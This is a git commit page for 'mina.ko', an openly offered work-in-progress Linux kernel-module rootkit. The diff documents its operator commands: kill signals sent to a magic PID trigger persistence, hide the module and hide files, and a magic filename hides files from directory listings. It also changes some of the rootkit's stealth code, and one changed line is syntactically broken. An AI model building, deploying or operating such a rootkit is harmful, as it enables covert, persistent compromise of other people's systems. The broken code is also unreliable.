mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit d875891b8f9691a6bec22fa8d08f2c91c0d909cf
parent 95e9e8ee6915aafcfadca7e427364cd402f84511
Author: djnn <[email protected]>
Date: Mon, 29 Sep 2025 07:12:32 +0200

fix: formatting & docs

Diffstat:
MREADME.txt | 10++++++++--
Mrootkit/includes/mina.h | 6+++---
Mrootkit/sources/mina.c | 4+---
Mrootkit/sources/stealth.c | 5+----

4 files changed, 13 insertions(+), 12 deletions(-)

diff --git a/README.txt b/README.txt
@@ -45,8 +45,14 @@ Tested on:
 
 3.2 Commands
 
-[*] Install persistence:    kill -50 1337
-[*] Hide LKM at runtime:    kill -60 1337
+[*] Install persistence:                    kill -50 1337
+[*] Hide LKM at runtime:                    kill -60 1337
+[*] Enable file hiding:                     kill -70 1337
+
+3.2.a Magic features
+
+[+] => If you create a file called "minamina", it can't be seen by directory listing.
+This only works if file hiding is enabled (kill -70 1337)
 
 
 3.3 Development instructions
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -7,9 +7,9 @@
 #include <linux/module.h>
 #include <linux/slab.h>
 
-#define PERSISTENCE_CODE        (50)
-#define TOGGLE_HIDE_CODE        (60)
-#define TOGGLE_FILEHIDE_CODE    (70)
+#define PERSISTENCE_CODE (50)
+#define TOGGLE_HIDE_CODE (60)
+#define TOGGLE_FILEHIDE_CODE (70)
 
 #define MAGIC_PID (1337)
 
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -71,9 +71,7 @@ typedef struct mina_settings {
 
 settings_t settings = {
     .enable_file_hide = 0,
-    .enable_dir_hide = 0
-};
-
+    .enable_dir_hide = 0};
 
 /* ------============= HOOKS ==============----- */
 
diff --git a/rootkit/sources/stealth.c b/rootkit/sources/stealth.c
@@ -10,12 +10,10 @@
 
 #include "../includes/mina.h"
 
-
 /* ------============= GLOBALS ==============----- */
 static char *mina_module_name = NULL;
 module_param(mina_module_name, charp, S_IRUSR);
 
-
 /* ------============= STRUCTS ==============----- */
 /* Simple struct to keep in memory the files we want to hide */
 struct st_hide_file {
@@ -41,8 +39,7 @@ static void file_hide(char *name) {
     struct st_hide_file *_file;
 
     if (name == NULL || name[0] == '\0') {
-        printk(KERN_INFO "[mina] module-name is null !")
-        return;
+        printk(KERN_INFO "[mina] module-name is null !") return;
     }
     _file = kmalloc(sizeof(*_file), GFP_KERNEL);
     if (!_file)